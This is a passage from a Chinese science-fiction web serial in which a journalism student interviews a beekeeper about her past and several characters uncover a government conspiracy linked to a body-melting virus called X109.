几个人都看了过来,有些担忧地盯着房门。
过了约三十秒左右,社区警察正忍不住想再喊一声,房门突然从里面被打开。
一个穿着白色睡裙的高个女人站在门口,皱着眉看着所有人。
陈立新和其她几个警察都松了一口气。
站在门口的社区警察脸上露出关切的微笑,语气中带着几分难以察觉的责备,“三河区已经半个月没有您的访问记录了,大家都很关心您。”
“……抱歉,我今天下午过去。”
社区警察满意地点了点头,又对女人嘱咐了几句,转过身招呼其她的人离开。
陈立新上前几步,跟她讲了自己在这里还有事想做。
在她再三保证自己记得来时的路后,社区警察们扬长而去。
留下站在院子里的陈立新一人,和门口的女人面面相觑。
女人疑惑地皱着眉,率先开了口:“你怎么还不走?”
陈立新晃了晃手中的相机,彬彬有礼地一鞠躬,“您好,我叫陈立新,是一名新闻专业的学生,请问可以采访一下您吗?”
女人摇了摇头,转身关上门。
陈立新赶紧一个箭步冲上前,在门外喊道:“祁女士,请听我说,我完全能理解您可能有对采访内容的顾虑或者其他安排上的困难!”
“但是这次采访的内容对公众来说非常有价值,您的见解和经历将会为很多人带来启发和帮助!”
陈立新说到这里,门内仍然迟迟没有动静。
她犹豫了一下,接着说道:“祁女士,我是联合城邦大学城里来的学生,昨天才知道了三河区的存在,我真的觉得,这里的存在不应该被人类遗忘。”
“我希望可以获得更多的资料,将它们带到联合城邦去,让更多的人知道,在战火纷飞中,出走的女人们已经建立起这样一个令人自豪的地方。”
不知道是这番话中的哪句触动了女人,过了约五分钟左右,门从里面被慢慢地打开。
门内,女人已经扎好了头发,平静地注视着陈立新。
她眼底透出些年长者的疲惫,但身体看起来很板正,很有精神。
“进来吧。”她说。
陈立新松了一口气。
屋内的布置看起来有些凌乱,空气里弥漫着淡淡的灰尘气息,一个破旧的炽光灯被一根细细的铁丝吊在房顶上。
晦暗的灯光下,房间显得有些幽暗,只有一面墙开了一扇窗户,角落里的木床边上摆着一张低矮的书桌,上面的锅碗瓢盆显示女人做菜就在这个地方。
“关一下门。”
女人的声音传来,陈立新应声照做,门内侧阴影里藏着的一张瘸了腿的板凳差点把她绊一跤。
她有些尴尬地转过身,看见女人安安静静地坐在床上,似乎是已经准备接受采访。
她赶紧拿过那张可恶的板凳,在床边上坐下,又在包里翻找录音笔。
“您介意我录音吗?”她一边找,一边问。
女人沉默地摇了摇头。
“非常感谢!”
陈立新准备完毕,神采奕奕地看向女人。
“第一个问题,请问可以简单介绍一下您自己吗?”
“祁歌,五十二岁,在张家崖养蜜蜂。”
“好的,第二个问题,请问是什么原因让您走上这条职业道路的呢?”
女人沉默了好一会。
就在陈立新试图换一个问题的时候,女人慢慢说道:“我大学时的专业是研究蜜蜂。”
大学!
陈立新脑中闪过一线灵光,这条线索或许可以更深入地探寻女人的过往经历。
“好的,第三个问题,请问可以谈谈您来到三河区的经历吗?”
这次女人沉默得更久了,脸上平静的神情也微微有了波澜。
但这次陈立新坚持不懈地等待了很久,最终女人还是开了口:“我原本生活在联合城邦里面,后面离家出走来到了无人区,路上刚好遇到了三河区的人,就跟着她们来到了三河区。”
“我原本在三河区做火化遗体的工作,后来,我听她们说在这里独自居住的养蜂人去世了,就主动申请来这里接替她的工作了。”
“听起来真是艰辛的故事。”陈立新点了点头,知道离家出走的事不能直接问。
于是她接下来问的话拐了个弯儿:“第四个问题,可以谈谈家庭背景和成长环境对您的影响吗?”
女人这次脸上的表情缓和了许多,眼底透出一种淡淡的怀念。
“我的原生家庭非常幸福,我的父亲是一名建筑工程师,我的母亲是我最初的老师,她教会了我很多东西,也培养了我对蜜蜂的兴趣。”
“一直到我读了大学,我们仍然经常频繁地见面,只是结婚了以后,我就搬离了大学城,去丈夫家居住了,之后就很少跟家里人见面。”
听起来,祁女士是在大学期间结婚的,陈立新心底下暗暗揣测。
“美好的家庭是人一生中最怀念的地方。”陈立新脸上露出一个微笑。
她再次按下录音笔,紧接着问道:“第五个问题,请问您和您丈夫是怎样认识的,有什么故事可以分享吗?”
女人的脸色刷一下难看了许多。
是不是问得有点隐私了?
陈立新心中暗暗捏了把汗。
但她还是决定赌一把,坚持等待着女人的回答。
良久,女人紧紧地皱着眉头,简短地回答道:“他是我的老师,我们有一个女儿。”
“好的,第六个问题,可以讲讲您在联合城邦里的故事吗?”
这个问题过于大胆了,几乎是把“为什么离家出走呀”给写在了脸上。
陈里新眼看着女人的眉头越皱越紧,身下的被子被手指抓起了扭曲的褶皱,一颗心暗暗悬了起来。
但她还是希望女人可以回答。
但……她真的会回答吗?
还是换一个委婉点的问题呢?
就在陈立新思考之际,女人突然叹了一口气。
“姑娘,我可以告诉你,毕竟我活到现在没几个朋友,有一些事埋在心底太久,也不好过。”
陈立新连忙点头,正要答应,女人却严厉地打断了她的话。
“但是,你的新闻报道中必须隐藏我的名字和身份,只需要注明,是三河区的居民就行了。”
陈立新看到女人前所未有严肃的目光,愣了一瞬,立刻反应过来,她当即承诺道:“当然可以,保护采访者的个人隐私,尊重采访者的个人意愿是我们新闻从业者的基本素养!”
女人俯身脱下拖鞋,半躺在床头靠枕上,眼皮半阖,窗外的天光照到她半张脸庞,在眼睫上投下长长的影子。
十几年前的往事如同水底沉落的花,在她的回忆里慢慢地上浮。
祁歌原本是大学城里的一名优秀学生,凭着对蜂学的强烈兴趣,她选择了在生物科学领域享誉多年的祝岁之教授作为自己的大学导师,并因为对对方的崇拜与其逐渐走到了一起。
和老师结婚后,她开始专心做一个家庭主妇,尽管在业余时间里,她仍然忍不住去研究蜂学,但研究的成果她都转移给了自己的老师。
这是她自己做出的决定,在当时竞争激烈的学术界里,她认为这样才能使得整个家庭更为美满幸福。
她的一篇论文成功使得祝岁之名
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声大噪,祝家的客人来来往往,络绎不绝,那似乎是段幸福的时光,她当时也因此认为,自己的选择是对的,是顾全大局的。
结婚两年后,她难产生下了一个女儿,患上了严重的产后抑郁症。
听到女儿啼哭的声音,她心中就生出浓浓的的仇恨和厌恶,忍不住去打砸身边的东西,整夜整夜在病房里哭泣。
后来,在祝岁之的调和下,她住进了联合城邦最高级的疗养所,女儿则交给了家里的保姆照顾。
那段空闲的时间里,她开始频频地去翻看自己学生时代的文献记录,去看自己写过的论文,抚摸上面并非自己的署名。
在母亲的鼓励下,她开始捡起自己以往对蜂学的热爱,重新开始自己的新研究。
两年后,她调养好身体,在一个阳光明媚的日子,准备重新回家。
原本想给丈夫一个惊喜,她因此没有打电话提前通知。
但在开门的一瞬间,客厅沙发上交缠的两具身体彻底击垮了她的理智。
她再次嘶吼着逃出家门,在众目睽睽下控制不住地发疯。
那是她的丈夫和师兄。
祝岁之压下了所有的新闻和流言蜚语,所有人包括她的母亲都在劝诫她回去,至少要为了孩子,生活也要体面地过下去。
她听从了,终日龟缩在书房里,做自己的研究,只有疲惫的时候,看见保姆送来的安安静静的孩子,她才会感到一丝宽慰。
这个时候她觉得,也许为了孩子,一切也还算值得。
但在夜深人静难以入眠的时候,她潜意识里总忍不住去恐惧并仇恨她的女儿带给她的一切,她破破烂烂的身体,她破破烂烂的人生,和那身体里流淌着的另一个人的有罪的血。
在这样煎熬又迷茫的日子里,她也做出了不错的研究成果。
在一场小有名气的新闻发布会后,一个记者拦住了她,告诉她,她刚才所说的个人成就似乎造假。
在她愤怒的大声斥骂下,记者冷笑着拿出了事实——她在大学期间的所有论文,也早已经神不知鬼不觉地署上了祝岁之的名字。
家中的战争又开始了,但战士只有她一个,因为祝岁之已经搬出了家,和她的师兄居住在一起。
他偶尔回家的时候,脸上挂着意气风发的笑容,她的女儿开心地上前抱住他,甜甜地叫一声“爸爸,您辛苦了。”
她失去了所有的力气,又成为了那个龟缩在书房里的人,只是再也不去翻看蜂学相关的书籍,整天静静地看着爱情电视剧,或者爱情小说,在保姆抱来女儿的时候,拘谨地抚摸一下她的面颊,温柔地笑一下。
一切的崩坏是在那个下午爆发的,她十三岁的女儿放学后兴奋地跑回家,一头撞进她的怀抱,红扑扑的脸蛋上写满自豪。
“妈妈,有人要来拍爸爸的电影啦,我们全班都知道了!”
她脸上还没粉饰好的笑意僵硬了一下,冰冷的指尖还是轻轻抚摸女儿的头发,轻轻说:“那真好呀。”
突然,她可爱的女儿在她怀中抬起头来,眼睛亮得如星星一般,大声说道——
“爸爸是我的偶像,我要向爸爸学习!”
她的心理防线在一瞬间轰然倒塌。
她在她年幼的女儿面前,第一次毫无防备地捂住脸,像个孩子一样嚎啕大哭起来。
她听到保姆急匆匆赶来的声音,门打开又关上的声音,女儿害怕的声音,母亲劝诫的声音,记者冷笑的声音,丈夫豪迈的声音……
最后是某个夏日的清晨,十八岁的她在书房翻阅文献时,指尖沙沙作响的书页声。
她在深夜就逃走了,不知道要去哪里,她只想去一个没有人的地方。
带着全身的积蓄,她独自从家的地方往外一路奔逃,钱财散尽之时,她成功偷渡到了北海。
她赤着脚,在荒野上不眠不休地流浪了三天三夜,醒来的时候是在陌生的帐篷里面。
她走出来,看见几个肥壮的女人,她们递过来刚烤好的兔肉,对她说,来三河区吧。
于是,她现在就生活在这里。
故事讲完了,房间一片静悄悄的。
女人似乎是讲得有些渴了,从床上坐起身,试图去拿一旁木桌上的茶杯,手腕却被陈立新稳稳握住。
“我来倒吧。”
将倒好的水递给女人,陈立新坐回板凳上,认真地看着女人,脸上看不出别的情绪。
“非常感谢您的分享,那么接下来,请回答我的最后一个问题。”
女人喝完水,脸上显出淡淡疲乏。
她放下平静地点了点头。
“能给我们讲讲您的那些蜜蜂吗?”
女人愣了一瞬。
“我想,大学城里蜂学专业的学生们,一定对她们的前辈正在做的事情非常感兴趣。”
此时已接近中午,暖色的阳光透过小小的窗户照进来,照射在女人身上,温暖的光晕勾勒她的脸庞,光线里的尘埃轻盈舞动,像是弥散的星尘。
小小的房间里,已经比清晨时明亮了许多。
春天已经来了,万物复苏,新芽初生,蜜蜂开始了它们收获的季节,一切都在向新的方向走去。
她在其中。
女人苍白的脸上轻轻浮现一个笑容。
“当然。”
67.离别三河地,重聚在旧居
今天的三河区也一如既往地和平,只是田野上多了一个陌生的客人。
身着黑色工装的长发女子微垂着头,沉默地等候在田野边缘小径,远处城镇的方向驶过来一辆越野车,她的身后停着一辆被翘了车牌照的旧车。
越野车在女子面前五米处停住,刮起的风浪拂过她的衣角,她回过神来,慢慢地挺直了身板。
右侧的车门打开,一个背着大包小包的年轻女孩扶着车窗边缘,慢慢地坐起身。
就在女孩即将跨出越野车的瞬间,她却像是突然想起了什么般,猛然顿住动作,转头看向驾驶舱的人。
“说起来,你不和我去联合城邦了吗?”
驾驶舱的人轻轻摇了摇头。
“今天下午,我还要回研究所上班呢。”
“这样啊……”
陈立新遗憾地点了点头,而后又立马振作起精神。
“那祝你好运!”
陈丹脸上露出一个微笑。
“你也是。”
越野车很快就离开了,陈立新站在原地,远望着越野车的身影远去。
无论那个女人和那个研究所究竟想干什么,希望她最后都能够平安回到三河区。
陈立新深呼吸一口气,转身看向田野边上静静等候多时的女子。
她脸上露出一个礼貌的笑容,率先伸出手来。
“你好,我是陈立新!”
女子微微颔首,也伸出手来。
“我是奕川派来接应你的人。”
陈立新诚恳地看着对方的眼睛。
女子像是毫无察觉似的,转身径直向身后的车走去。
她钻进驾驶舱后,就沉默地等候在位置上。
风吹过,车与人之间拂过一阵初春的凉意。
陈立新面带着有些僵硬的笑容,选择打开后排车门,坐在了后面。
好冷淡……
似乎是看出了她的心思,前排突然传来女子的声音,“抱歉,名字不便透露。”
陈立新吓了一跳,赶紧摆了摆手,“没事,我能理解。”
女子握着方向盘的手腕处露出一道泛红的纹身痕迹,似乎是才洗去了不久,看不清具体的内容。
听见陈立新的回答后,她微微点头,再次陷入沉默。
接下来的一路上,二人再无言语。
……
联合城邦,总部大楼。
熟悉的感觉再次传来,祝吟辰睁开眼,生而为人的身体和意识渐渐重叠。
舱门被打开,低温液氮的雾气弥漫,两个全副武装的实验人员一左一右,拿着备用衣服围上来。
“祝少校,您辛苦了。”
祝吟辰点了点头,接过衣服。
接下来是七天一次循环的,新的报告流程。
执行人员带着她到达联合会议室的时候,十二主席已经来齐了,几十双眼睛一如既往地盯着她。
不过,她已经没有以前那样紧张了。
以前,她曾以为这是她对AGPC单方面的例行式欺瞒,但自从她发现了零启计划的资料后,她开始觉得,或许她才是被一直蒙在鼓里的人。
既然如此,也不必在乎心中已经所剩无几的愧疚感了。
祝吟辰无比坦然地站在审判席上,平静地等待着总指挥的问题。
一如既往的问题,一如既往的谎言,她挑了几个无伤大雅的真实日常经历进行陈述,二十分钟后,总指挥满意地坐下了。
大屏上很快提示了接下来的意见发表者,是萧衍。
祝吟辰感到有些意外。
萧翎以往很少问她问题,或许是因为她们之间还留有一层上下级的情分在。
只是这次,他出乎意料地也问了她几个问题。
她公事公办地一一回答,十五分钟后,萧衍也满意地坐下了。
祝吟辰不经意间留意了一眼,注意到萧翎此时居然身着无人区特遣部队的军装。
这种时候,穿这种正式的衣服,难道他一会要去无人区吗?
可是她记得无人区明明有萧衍在打理……难道是因为发生了什么,让一个萧衍也忙不过来吗?
祝吟辰心底暗暗生出几分疑惑。
一会去小公寓里问问奕川,无人区最近有没有发生什么事情吧。
大屏闪过新的提示信息,接下来是袁立的问题……
时间就这样一点点过去,你问我答的报告流程渐渐接近末尾。
大屏上最后显示,此次会议目前已经进行了五十三分钟。
“很好。”
总指挥郑重地咳嗽了几声,看向会议室中心的记录员。
他正要张口询问,角落里却冷不丁传来一个意料之外的声音——
“祝吟辰少校,请问您是否有在阿努特纳星发现过奇异的病毒?”
所有人都看了过去。
这声音听起来似乎有些陌生,但祝吟辰还是很快反应过来了,这是顾遥在说话。
她将视线转向角落里的顾遥,平静地回答道:“非常抱歉,对病毒的探索不在阿努特纳斯计划的内容中,我从未对此有过关注。”
顾遥看起来却执着极了,紧接着问道:“那你是否发现过与虫族相关的奇异疾病呢?”
会议室里的气氛渐渐紧张起来,总指挥脸上的肌肉古怪地抽动了几下。
“非常抱歉,虫族的身体素质在我见过的物种中异常强悍,除了机体战斗所导致的身体组织残缺外,我从未发现过其他的疾病症状。”
“真的吗?我希望你再仔细想想,比如融——”
“好了!”
眼看着情况似乎要失控,袁立厉声打断了顾遥的话。
权威的打断奇妙地舒缓了气氛,其他主席座位上的身体肉眼可见地微微放松下来。
顾遥站在座位上,嘴唇抿成一条线。
她冷冷地盯住袁立的眼睛,眼神里有一种她这个年纪的女生所惯有的那种横冲直撞的傲气。
她还是穿着那身朴素的黑西装。
自从那天晚上后,她就好像变了个人,以往的畏畏缩缩都消失了大半,越是能让这帮老家伙难受,她就越是感到痛快。
反正几十年后他们都得打着颤巍巍的老寒腿下桌,那时候谁能在主席座上坐到最后,还不一定呢。
想到这里,顾遥挺直了腰板,再次看向祝吟辰,喉咙里发出的声音前所未有地清朗——
“比如融化的身体?”
话的尾音在空旷的会议室里回荡,能容纳几百人的房间,此时静得可怕。
角落里另一边,张景和不动声色地将桌上的文件收了起来。
那是他原本打算一会上报的灾情提案,不过看这个情况走向,应该是通过不了了。
祝吟辰已经意识到不对劲了。
她的正对面,十二主席主座上,杨威的脸色黑得吓人,阴得几乎能滴出水来。
她垂下眼睫,不去看顾遥的眼睛,面不改色地回答道:“非常抱歉,没有。”
顾遥失望地坐了下去。
总指挥立刻站起身来,向记录员喊道:“备份好了吗?”
“好了!”
会议室中心的记录员早已汗流浃背。
总指挥松了一口气,当即宣布会议解散。
门外的执行人员进入,祝吟辰很快被带着离开现场。
十分钟后,执行人员驾车驶离祝吟辰家门口。
祝吟辰走进家门的一瞬间,就闻到了空气里那股沁人心脾的茶香。
她向客厅那边看过去,走廊另一头的地板上,落地窗外照进的月光投过来一片熟悉的阴影。
看来这次她也没开灯。
祝吟辰关上门,将大衣挂在门口衣架上,穿过走廊,看向客厅里早已恭候多时的人。
后者正在专心致志地沏茶。
“你这次怎么主动过来了?”
祝吟辰坐到沙发对面,放松地倚靠在后靠枕上。
“我刚才还想着,一会去小公寓找你呢。”
奕川专注地盯着仪器上显示的茶水温度,轻声道:“那边不能再去了,北海的人已经找了过来。”
听到这话,祝吟辰心中一动,很快地意识到了什么。
她的眼神倏地变得锐利,直直地看向奕川。
“你是说,阿图特和陈立新已经被他们找到了?”
“也可能是凌风。”
祝吟辰站起身,皱着眉在客厅里慢慢地走动。
奕川这次沏的是花茶,她开始往茶水里加入细碎的玫瑰花瓣。
她一边加,一边继续说道:“五天前,我和三河区的人合作,在黑环找到了袁立在北海的招聘人手,安插了一个人进去。”
祝吟辰惊讶地看向奕川。
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“工作的地点,是北海海域边界的一处高危级辐射污染区,一个根本不可能有活人存在的地方。”
“但是前天晚上,我得到三河区发来的情报,那边有一个地下秘密研究所,三百余人在里面为袁立工作,北海的军队就在附近巡逻。”
听到这里,祝吟辰的神情逐渐变得严肃起来。
她坐回奕川对面,摆正坐姿,仔仔细细地注视着对方。
奕川放下茶盏,开始最后一步的闷煮花茶。
她抬头看向祝吟辰,扶了一下眼镜,眼底透出这些天以来难得的笑意。
“陈立新就在里面,我已经让人把她带了出来。”
仿佛重获自由一般,听到这句话,祝吟辰感觉全身心顿时松弛了下来。
她长长地呼出一口气,缓缓后靠在沙发上。
二人欣慰地相视一笑。
简直是奇迹,她们真的找到她了。
多日的念想和牵挂,终于有了令人喜悦的结局。
仪器发出滴的一声,奕川坐起身,开始倒茶。
她的语气中带着几分遗憾:“可惜凌风和阿图特仍然没有任何消息。”
祝吟辰摇了摇头。
她轻声安慰道:“没事,我们还有时间,一定会找到她们。”
奕川并不说话,只是递给祝吟辰一杯茶,算是赞同。
祝吟辰品着甘甜醇香的茶水,沉浸在喜悦中好一会儿后,才想起来刚才会议上的事情。
她匆匆放下茶杯,连忙问道:“无人区最近发生什么大事了吗?”
奕川搅着茶杯中的花叶,有些意外地抬起头,“我还以为你在休眠仓里什么都不知道呢。”
似乎是因为此时心情确实不错,她忍不住开了个玩笑:“难道那里的实验人员也会聊八卦?”
“不是的,刚才在联合会议室里……”
祝吟辰一五一十地将刚才在联合会议室里发生的事情全盘托出。
奕川的神情看起来认真了许多,“没想到顾主席还有这样的一面。”
祝吟辰也感叹道:“我也觉得奇怪,她以前从不在会议上发表意见。”
“或许是因为X109病毒的事情,让年轻人一时冲动了吧。”
“X109病毒?”
奕川点了点头。
“北海最近出现了奇怪的疾病,正在安全区以外的地方传播。”
“奇怪的疾病?”
不知为何,祝吟辰突然觉得心中有了一种不详的预感。
“一种会令人渐渐融化的疾病,融化后的身体会渐渐变得透明,甚至可以自行活动。”
奕川叹了一口气。
“不知为何,AGPC封锁了所有的消息,整个上邦的媒体都对这次灾情闭口不谈。”
茶水此时温度刚好,她端起茶杯,啜饮一口,语气中多了几分疑虑,“会不会与那个零启计划相关?说不定这次又是AGPC的阴谋。”
“……”
外面的天有些黑了,奕川起身去开灯。
啪一声,客厅顿时变得明亮起来,祝吟辰垂下眼睫,抱着手若有所思。
这样奇异的描述,比起说是疾病的症状,不如更像是因为某种原因导致的外在形态异变。
融化的、活动的……
她突然想起她当初在菌群时,恩基自由变化的战斗状态。
恩基不可能突然去影响蓝星的物种,但如果是相似的阿努呢?
她不敢保证恩基的能力是否与菌群的其她阿努有所关联,就像玛赫和她一样,但如果她的猜想正确的话……
X109病毒的突然出现,恐怕与虫族关系匪浅。
奕川见祝吟辰不说话,关切道:“怎么,你有想到什么吗?”
“我在想,AGPC封锁了灾情的消息,会不会跟阿图特有关。”
奕川眼中闪过一丝惊讶,而后很快变得平静下来。
“怎么说?”
“我在阿努特纳星见过这种情况,阿图特的外貌特征显然是属于菌群的类型……”
祝吟辰正要继续说下去,门口却突然传来一阵急促的敲门声。
二人都顿住了动作,心照不宣地看向门口的方向。
客厅里安静极了,只有外面的敲门声还在规律地响动。
叩、叩、叩——
在二人的心底不断回响。
68.三人知全局,半月来客至
祝吟辰与奕川对视一眼,示意对方先坐下,自己起身去开门。
她站在门口,慢慢拧动了门把手。
“咔——”
当她打开门的一瞬间,看清门外人的模样时,她整个人瞬间像是被冻结了一般,身体僵在原地。
良久,她回过头,看向客厅里的奕川。
“怎么不早点告诉我?”
奕川端坐在沙发上,将祝吟辰意料之中的反应尽收眼底,她嘴角忍不住扬起一个微笑。
“不错的惊喜,不是吗?”
祝吟辰正要再埋怨些什么,身体却已经被门外的人从背后抱住,一瞬间,她心中未说出的话顿时烟消云散。
她转过身,紧紧地回抱住对方,轻声道:“欢迎回来。”
陈立新松开手,激动地问道:“我不在的这些天,你们有没有想我?”
祝吟辰矜持地点了点头。
奕川坐在沙发上微笑不语。
陈立新双手叉腰,直勾勾地盯着祝吟辰的眼睛。
祝吟辰被盯得有些心虚,默不作声地移开了视线。
奕川起身,开始沏新的一壶茶。
“嗯,先坐吧。”
留下这一句,祝吟辰转身向客厅走去,陈立新慢吞吞地跟上,不满地拍了一下她的肩膀:“你们怎么这么矜持?”
客厅那边传来奕川打趣的声音:“她已经快三十岁了,快放过这个无聊的大人吧。”。
听到这话,陈立新眼睛一亮,旋风般冲进客厅。
她一屁股坐到沙发上,接过奕川递来的茶,抬起头不依不饶地问道:“那你呢?”
“我比你们岁数都大。”
听到这句,祝吟辰瞳孔一缩,震惊地看向奕川,后者微笑着坐到二人对面。
陈立新一口气喝完,大手一挥,将茶杯啪一声放在茶几上,俨然一副迫不及待要大展拳脚的样子。
果然,还没等奕川问候几句见面语,她就开了口,话题直冲重点:“有一件事,我要赶紧告诉你们!”
“我被北海绑架的这些天里,暗地里发现了AGPC的大阴谋!”
“你们猜,是什么?”
祝吟辰和奕川对视一眼。
“零启计划?”
陈立新震惊地张大嘴巴,看向奕川。
看见这一反应,奕川微笑着点了点头。
“看来是了。”
祝吟辰立刻敏锐地捕捉到某一新的线索,她垂下眼睫,抱着手若有所思,陈立新则几乎是喊了出来:“你们怎么知道的?!”
“祝吟辰在阿努特纳星上,发现了AGPC派出的先遣小队遗留的零启计划资料残存,和一个幸存的队员。”
完全是意料之外的情况,陈立新转过头,难以置信地看向祝吟辰。
察觉到这炙热的视线,祝吟辰抬起头来,微微点头。
她张口补充道:“阿努特纳斯计划是零启计划的一部分,对阿图特的生物实验也包含在其中,目的是为了解决目前蓝星资源日渐枯竭下的人口过剩问题。”
奕川一边起身倒茶,一边接过话头:“无论是从时间还是地点来看,X109病毒的突然爆发实在太过巧合,我们正在怀疑,这会不会又是一次AGPC利用阿图特,针对全体人类的新阴谋。”
“但目前还不能妄下定论,毕竟现在还没有证据可以证明北海已经找到了阿图特。”
虽然一时间有些愣神,但陈立新还是很快就接受了眼前的信息。
她的神情倏地变得严肃起来,看着客厅内其余二人的脸,一字一顿地说道:“是的,我可以保证,北海已经和袁立勾结在一起,正在组织搜寻阿图特。
“并且,屠一鸿和她的亲属也参与了其中。”
客厅里顿时安静下来,其余二人的动作都僵住了。
良久,祝吟辰才从这爆炸性的新情报里回过神来。
她早就知道零启计划的内容,所以对于袁立在北海鼓捣的那些小动作并不意外。
只是她从未想过,屠一鸿这个看起来跟陈立新差不多年纪的小孩居然会参与其中。
看来,她当初所谓的寻找母亲,只是一个掩人耳目的幌子罢了。
她当初听到自己母亲已经去世的消息时,居然表现出那样一副冷漠的样子,恐怕是因为她本就知道,她的母亲还好端端地在北海。
但她为什么又要用这种借口来找自己?
想不通……
奕川从胸中慢慢呼出一口气,显然就连她也没想到会有这一出,手中捧着的茶已经过了最好的温度。
目前已知的情况变得更复杂了,她忧心忡忡地看向祝吟辰,问道:“你知道这件事吗?”
祝吟辰沉重地摇了摇头。
奕川又看向陈立新,问道:“你是怎么知道这件事的?”
“我在研究所时曾数次被一个女人审问,她知道屠一鸿在我的研究小组里后,就问了我关于零启计划和完美人类的事。”
“我当时怕她灭我口,联系到阿图特在北海失踪的事,就猜零启计划与虫族有关,我刚一说完,她就承诺会放我走。”
说到这里,陈立新苦笑着一摊手,“只不过我忘了问她日期。”
祝吟辰与奕川对视一眼,此时她们心中都猜到了些什么。
陈立新看向其余二人,迫不及待地问出了那个深埋于心中多日的疑问——“说起来,完美人类到底是什么啊?”
没有人回答。
她看了看一旁祝吟辰眉头紧皱,一副若有所思的样子,又看了看对面奕川心不在焉地搅动着杯中早已凉透的茶水的样子,忍不住伸出手在祝吟辰面前晃了晃。
“完美人类是什么,你知道吗?”
祝吟辰摇了摇头,“阿努特纳星上遗留的资料残缺不全,完美人类只在几段文字里有所提及,但具体究竟是什么,我还不知道。”
“你可以问那个幸存的队员啊!”
“她不说。”
陈立新一听,顿时急了,她忍不住一把抓住祝吟辰的肩膀,激动地喊道:“她凭什么理由不说啊?AGPC可是在瞒着我们所有人把她们扔在上面等死!”
祝吟辰抬起头,对上陈立新灼热的视线,几乎要在心口烫出个黑洞洞的口子。
她慢慢移开视线,轻声道:“她们是自愿的。”
“……”
陈立新张了张口,终是什么也没说,像是有无数个问题堵在胸口,临到了吐露时,却又都没了力气。
作为人类,心中那种对同类甚至自我的,不计后果的毁灭欲,总是在生活的无数个瞬间间歇性地不断爆发。
就连她也不例外。
“嗒——”
一声清脆的瓷器碰撞声打破了低落下去的气氛,奕川将茶杯轻轻放到茶几上。
祝吟辰和陈立新不约而同地抬起头来。
奕川端坐在沙发上,微笑着对上二人的视线,眼底透出一种温柔的坚定。
“屠一鸿的事情我不知道,且她现在藏在萧琛家中,我们现在也无法进一步追问她。
“但屠启的来历我们当初已经查出来过,还记得吗?”
啊?
陈立新茫然地看向祝吟辰。
屠启……那是谁?
与奕川对视的一瞬间,祝吟辰当即回道:“两年前曾在世界生命收容所就职,患上癌症后辞职,孤身前往战前难民遗址第三驻地。”
陈立新惊讶极了,“那不是你曾经的驻地吗?”
祝吟辰苦笑着说道:“那就是屠一鸿当初自称为什么会来找我的原因,虽然我觉得没必要……”
“不错,”奕川点了点头,继续说道:“我们之前之所以忽略这条线索,是因为这是AGPC假扮林筑的间谍所给出的,但事到如今,或许我们可以尝试着去调查一下。”
祝吟辰微微点头,表示赞同。
“不
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是,你们先等等……”
突如其来的名字让陈立新顿时有些凌乱,她张开双手左右比划着,试图梳理现在的情况。
看着面前似乎对一切已经了如指掌的二人,她眼底闪过一丝慌乱:“审问我的那个女人,该不会就是你们口中的那个屠启吧?”
“嗯。”
“屠启,和屠一鸿是母女关系?”
“是的。”
听到肯定的答案,陈立新的身体慢慢软了下去,整个人无力地瘫软在沙发上。
她仰头看着天花板,自顾自地喃喃道:“我永远不会放过这对母女的……”
见陈立新已经理解了目前的情况,奕川转移过视线,重新看向祝吟辰,继续说道:“总结我们刚刚得到的全部情报,我们现在需要分头行动。”
“我和小陈回到红派后,会申请组织派人前去世界生命收容所进行调查,与此同时与三河区的人加强合作,一边调查X109病毒的来源,一边继续在北海追查阿图特和凌风的下落。”
“至于原先的计划,我需要你继续在阿努特纳星追查更多零启计划的内容,最好可以说服林筑回心转意,加入我们。”
祝吟辰郑重地点了点头,陈立新也慢慢恢复了精神,眼神重新变得坚定。
“好!”
……
无人区,半月湾。
半月湾是北海东北部的一个大海湾,因为在空中的俯视图形似半轮月牙而得名,内部火山岛屿众多,是战前全球闻名的旅游景点,北海沿岸的商业区因此得以繁荣发展。
只是现在,这里已经成为了一片荒芜。
天色已近傍晚,雷霆舰上,萧翎登上甲板,远远望向海天交接处的地平线。
视野中心的那座灰黑色的火山岛,就是他们此行的目的地。
一阵海风吹过,一股石油裹挟着腐烂尸体的味道拂过他的鼻尖。
他皱着眉,放下望远镜。
“报告长官!”
一个下属匆忙地跑过来,向他行了个板正的军礼,急急地说道:“AGPC科技管理局发来情报,发现可疑生命迹象!”
萧翎瞳孔一缩,沉声道:“什么情况?”
下属连忙点开手腕上的识别器,清晰的全息投影成像跃然于虚空中。
他一边操控转动着上面的图像,一边兴奋地讲解道:“科技管理局刚刚扫描完了全岛的地图,雷达生命探测仪显示,岛中心有一个温度极高的坐标,超过一百摄氏度,袁局长目前高度怀疑是人为的迹象!”
萧翎皱着眉头,说道:“会不会是海底正在喷发的火山岩浆?”
“不不不,”下属连连摇头道:“坐标的位置是在岛上!”
心中突然感到焦躁,萧翎在甲板上沉默地来回踱了几步。
下属见他不语,小心翼翼道:“长官,袁局长发来请令,建议我们继续加速前进。”
萧翎沉默了一会儿,缓缓点了点头,“通知上面的驾驶舱,加速前进。”
“是!”
下属一阵风般离去了,独留萧翎一人在甲板上徘徊。
他此时的思绪一片纷繁。
断水断电的无人岛上突然出现高温坐标,听起来确实是比较可疑的线索,毕竟X109病毒的泄露除了是战前污染遗留外,也不排除人为的迹象。
只是……有什么组织能绕过无人区特遣部队眼皮子底下,做出这样的反人类行为?
百思不得其解,他突然想起在他离开联合城邦的前一天晚上,会议结束后,袁立拍着他的肩膀,情深义重地说道:“此行一别,您践行的是全体人类的荣光!”
一股强烈的不安涌上心头,他重新抬起头,远远望向地平线处的那座火山岛。
暮色下的海洋广阔而绚烂,金黄的颜色此起彼伏地涌动,将整个世界渲染浸透,而它死寂地沉默着,伫立在海洋中心,一动不动。
就像是一座黑色的墓碑。
69.门扉已开,欲窥深处
第二天,天刚初晓之时,雷霆舰渐渐接近目标。
萧翎率领着一支精锐部队,乘上一艘小船,一行人在靠近海岸的珊瑚礁群中蜿蜒穿梭了近一个小时,最终成功登陆上岸。
踏上火山岛的第一步,鞋底传来粗粝的砂石触感。
后面的下属们开始往岸上搬运船上的备用物资,萧翎蹬了下军靴,理好在海风中被吹翻的衣领,开始环顾四周。
远处山丘石壁外部露出风化严重的火山岩,山壁一侧露出白色的建筑一角,金属质地在天光下明晃晃地闪动着,远远望来在这片灰黑色的岛屿上格外瞩目。
周边的海域风大浪急,惊涛击石,浪花冲天而起,海风送来一阵阵腐烂的腥臭味,大大小小的石球石蛋和人造垃圾遍布沙滩边上,附近的沙棘丛中隐约可见旅游风景区的人行道。
看来他们运气不错,正好来到了岛上海景观光区入口的地方。
萧翎点击手腕的识别器,打开科技局发来的全息地图。
